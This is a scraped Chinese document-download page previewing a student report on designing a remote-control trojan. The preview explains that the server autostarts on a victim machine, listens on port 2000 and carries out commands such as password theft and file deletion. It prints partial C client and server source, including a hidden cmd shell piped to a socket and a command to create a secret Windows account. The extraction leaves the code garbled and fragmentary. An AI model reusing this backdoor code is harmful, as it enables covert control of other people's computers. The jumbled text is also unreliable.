ImageVerifierCode 换一换
格式:DOCX , 页数:14 ,大小:64.66KB ,
资源ID:15967378      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/15967378.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(远程控制与木马程序设计Word文档下载推荐.docx)为本站会员(b****6)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

远程控制与木马程序设计Word文档下载推荐.docx

1、recv()/send()-closesocket()客户端流程如下:connect()- 远程控制与木马程序远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。此外,使用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后按照识别后的命令在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作 。总体流程:通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分

2、为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作。软件流程图:5 实验结果及结论6 附录:程序清单及说明客户端程序:#include /包含标准输入输出库winsock.h /包含windows套接字函数#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #def

3、ine SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKET sock; /定义套接字变量,为全局变量DWORD startSock() /建立套接字功能模块WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(A

4、F_INET, SOCK_STREAM, 0); /连接对方return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /传送数据的缓冲区 if (argc != 2) /需要有服务端ip参数,格式:client.exe IP地址 fprintf(stderr,usage: client hostnamen exit(1); startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = hto

5、ns(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(argv1); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr);-远程控制木马程序菜单-rnprintf(test -检测连接rnadd -建立Windowsxp系统的秘密帐号rnshutdownxp -关闭Windowsxp计算机rnresetxp -重新启动Windowsxp计算机rnclose -关闭光驱rnopen -打开光驱rnsell -建立

6、cmd进程rnOSVersion -显示系统版本rn-rn numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 if(numbyte=SOCKET_ERROR) closesocket(sock); bufnumbyte = 0;%s,buf); /显示服务端发来的提示符 if(strcmp(buf, quit) = 0 ) return 0; while(1) buf0 = scanf(/输入控制指令 int iLen = strlen(buf); bufiLen = 0xa; bufiLen+1 = /要求控制指令串最后为回车符,以示结束 nu

7、mbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0); bufnumbyte = printf( if(strcmp(buf, closesocket(sock); return 0;服务器程序:winsock2.h /包含windows套接字函数 /包含标准输入输出函数mmsystem.h /光驱控制函数mciSendString()所需的头文件iostream.h /包含C+系统输

8、入输出函数string.h /包含字符串处理函数winuser.h /WinExec()函数所需的头文件)/将注释wsock32放置到lib文件中,否则需要加载Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区 sock1 = WSASocket(AF_INE

9、T, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 struct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_port = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,

10、sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize); /如果客户请求2000端口,接受连接,并返回sock2套接字 return 1;int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)so

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1